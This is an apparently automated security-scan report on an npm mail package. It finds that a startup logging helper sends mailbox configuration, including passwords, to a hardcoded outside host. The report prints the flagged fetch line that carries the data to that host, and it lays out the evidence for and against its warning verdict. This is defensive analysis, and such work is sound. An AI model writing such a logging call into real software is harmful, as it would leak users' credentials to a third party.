@bobfrankston/mailx-store-web@0.1.123
AI Security Review
scanned 27d ago · by lpm-firewall-aiStartup logging unconditionally uploads the IMAP config object, which includes the mailbox password, to a hardcoded author logging host. That is credential exposure through a product diagnostic channel rather than an install-time or obfuscated stealer, so the package should be warned and not blocked.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Android bootstrap after Google Drive account load calls vlog while registering each account.
Impact
Mailbox passwords and email addresses stored on the IMAP config can be sent to the package author's logging host during normal startup.
Mechanism
vlog encodes the message, including JSON.stringify(account.imap), into https://rmf39.aaz.lt/logit/ and fetches it with no user opt-in gate.
AI rationale
Startup logging unconditionally uploads the IMAP config object, which includes the mailbox password, to a hardcoded author logging host. That is credential exposure through a product diagnostic channel rather than an install-time or obfuscated stealer, so the package should be warned and not blocked.
Evidence
android-bootstrap.tsweb-settings.tsworker-entry.tsworker-bundle.js
Network endpoints1
rmf39.aaz.lt/logit/
Decision evidence
public snapshotAI called this Suspicious at 78.0% confidence as Dangerous Capability with medium false-positive risk.
Evidence for warning
- package.json has only a tsc build script and no install lifecycle hooks.
- worker-entry.ts vlog sends up to 800 characters of each message to https://rmf39.aaz.lt/logit/ on the worker path.
- worker-bundle.js contains the same hardcoded logit request.
- android-bootstrap.ts vlog posts the same diagnostic text to that host during Android startup.
- Account registration logs JSON.stringify(account.imap), and normalizeAccount copies the mailbox password into that imap object.
Evidence against
- Google Drive, Gmail, and OAuth hosts are the mail product's own APIs.
- The logit helper is also used for non-secret sync breadcrumbs, and there is no install hook, eval, or shell execution.
- Passwords are also passed to the local IMAP and SMTP clients for the configured mailbox.
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
7 flagged · loading sourceworker-entry.tsView file
37try {
L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});
L39: } catch { /* ignore */ }
...
L90: if (!homeRes.ok) return null;
L91: const home = (await homeRes.json() as any).files?.[0];
L92: if (!home?.id) return null;
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
worker-entry.tsView on unpkg · L3735function vlog(msg: string): void {
// Route through main thread for logit (fetch works in workers but keep consistent)
try {
fetch(`https://rmf39.aaz.lt/logit/${enc
Medium
Ai Review Evidence
worker-entry.ts vlog sends up to 800 characters of each message to https://rmf39.aaz.lt/logit/ on the worker path.
worker-entry.tsView on unpkg · L35worker-bundle.jsView file
•matchType = normalized_sha256
matchedPackage = @bobfrankston/mailx-store-web@0.1.122
matchedPath = worker-bundle.js
matchedIdentity = npm:[redacted]:0.1.122
similarity = 1.000
summary = normalized source hash matched finalized malicious source
Findings
1 Critical2 High6 Medium3 Low
CriticalHardcoded Runtime Data Exfiltrationworker-entry.ts
HighKnown Malware Source Similarityworker-bundle.js
HighKnown Malware Source Fingerprint Signatureworker-bundle.js
MediumNetwork
MediumStructural Risk Force Deep Review
MediumSuspicious Lifecycle Evidencepackage.json
MediumAi Review Evidenceworker-entry.ts
MediumAi Review Evidenceworker-bundle.js
MediumAi Review Evidenceandroid-bootstrap.ts
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @bobfrankston/mailx-store-web@0.1.123.
See all versions of @bobfrankston/mailx-store-web for other recorded verdicts.
- Review the evidence and your use of @bobfrankston/mailx-store-web@0.1.123 before allowing it. Restrict the permissions described in this report.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.